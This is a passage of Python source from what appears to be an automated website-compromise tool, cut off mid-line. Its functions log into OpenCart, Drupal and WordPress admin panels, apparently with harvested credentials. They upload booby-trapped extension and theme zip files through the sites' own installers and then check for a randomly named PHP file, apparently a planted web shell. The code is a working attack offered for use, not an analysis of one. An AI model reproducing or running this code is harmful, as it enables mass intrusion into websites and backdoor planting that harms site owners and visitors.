else: upload_url_Fox = "{}/admin/index.php?route=marketplace/installer/upload&token={}".format(domain, token_Fox)
fileup_Fox = {'file': ('rsz.ocmod.zip', open('Files/rsz.ocmod.zip', 'rb'), 'application/x-zip-compressed')}
try: up_Fox = content_Fox(cookies.post(upload_url_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=60))
except: up_Fox = content_Fox(cookies.post(upload_url_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=45))
ID_oc = re.findall(re.compile('extension_install_id=(.*)"}'), up_Fox)[0]
try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/install'), ID_oc), verify=False, headers=headers1, timeout=15)
except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/install'), ID_oc), verify=False, headers=headers1, timeout=10)
try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/unzip'), ID_oc), verify=False, headers=headers1, timeout=15)
except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/unzip'), ID_oc), verify=False, headers=headers1, timeout=10)
try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/move'), ID_oc), verify=False, headers=headers1, timeout=15)
except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/move'), ID_oc), verify=False, headers=headers1, timeout=10)
try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/xml'), ID_oc), verify=False, headers=headers1, timeout=15)
except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/xml'), ID_oc), verify=False, headers=headers1, timeout=10)
try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/remove'), ID_oc), verify=False, headers=headers1, timeout=15)
except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/remove'), ID_oc), verify=False, headers=headers1, timeout=10)
check_UP = requestG_Fox('{}/admin/controller/extension/extension/daDTLv3YPn6.php'.format(domain), 1, headers1)
if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/admin/controller/extension/extension/daDTLv3YPn6.php'.format(domain)
return 'F'
except:
return 'F'
def adminimal_Fox(url, cookies) :
try:
try: getdata = content_Fox(cookies.get('{}/admin/appearance/install'.format(url), headers=headers1, verify=False, timeout=15))
except: getdata = content_Fox(cookies.get('{}/admin/appearance/install'.format(url), headers=headers1, verify=False, timeout=10))
form_build_id_Fox = re.findall(re.compile('type="hidden" name="form_build_id" value="(.*)" />'), getdata)[0]
form_token_Fox = re.findall(re.compile('type="hidden" name="form_token" value="(.*)" />'), getdata)[0]
fileup_Fox = {'files[project_upload]': ('adminimal_theme-7.x-1.25.zip', open('Files/adminimal_theme-7.x-1.25.zip', 'rb'), 'multipart/form-data')}
filedata_Fox = {'form_build_id': form_build_id_Fox, 'form_id': 'update_manager_install_form', 'form_token': form_token_Fox, 'op': 'Install', 'project_url': ''}
try: up_Fox = content_Fox(cookies.post('{}/admin/appearance/install'.format(url), headers=headers1, data=filedata_Fox, files=fileup_Fox, verify=False, timeout=90))
except: up_Fox = content_Fox(cookies.post('{}/admin/appearance/install'.format(url), headers=headers1, data=filedata_Fox, files=fileup_Fox, verify=False, timeout=60))
ID_dp = re.findall(re.compile('id=(.*)&'), up_Fox)[0]
try: install_Fox = cookies.get('{}/authorize.php?batch=1&op=start&id={}'.format(url, ID_dp), headers=headers1, verify=False, timeout=45)
except: install_Fox = cookies.get('{}/authorize.php?batch=1&op=start&id={}'.format(url, ID_dp), headers=headers1, verify=False, timeout=30)
check_UP = requestG_Fox('{}/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php'.format(url), 1, headers1)
if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php'.format(url)
return 'F'
except:
return 'F'
def WP_Login_UPer(url, username, password):
try:
while (url[-1] == '/'): url = url[:-1]
print (' {}[L] {} {}[WordPress]'.format(fw, url, fg))
print (' {}[U] {}'.format(fw, username))
print (' {}[P] {}'.format(fw, password))
reqFox = requests.session()
headersLogin = {'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
'referer': '{}/wp-admin/'.format(url)}
loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '{}/wp-admin/'.format(url)}
try: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15)
except: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=5)
if (URL_FOX(login_Fox.url) != URL_FOX(url)):
url = URL_P(login_Fox.url)
reqFox = requests.session()
loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '{}/wp-admin/'.format(url)}
try: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15)
except: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=10)
login_Fox = content_Fox(login_Fox)
if ('profile/login' in login_Fox):
id_wp = re.findall(re.compile('type="hidden" name="force_redirect_uri-(.*)" id='), login_Fox)[0]
myuserpro = re.findall(re.compile('name="_myuserpro_nonce" value="(.*)" />Working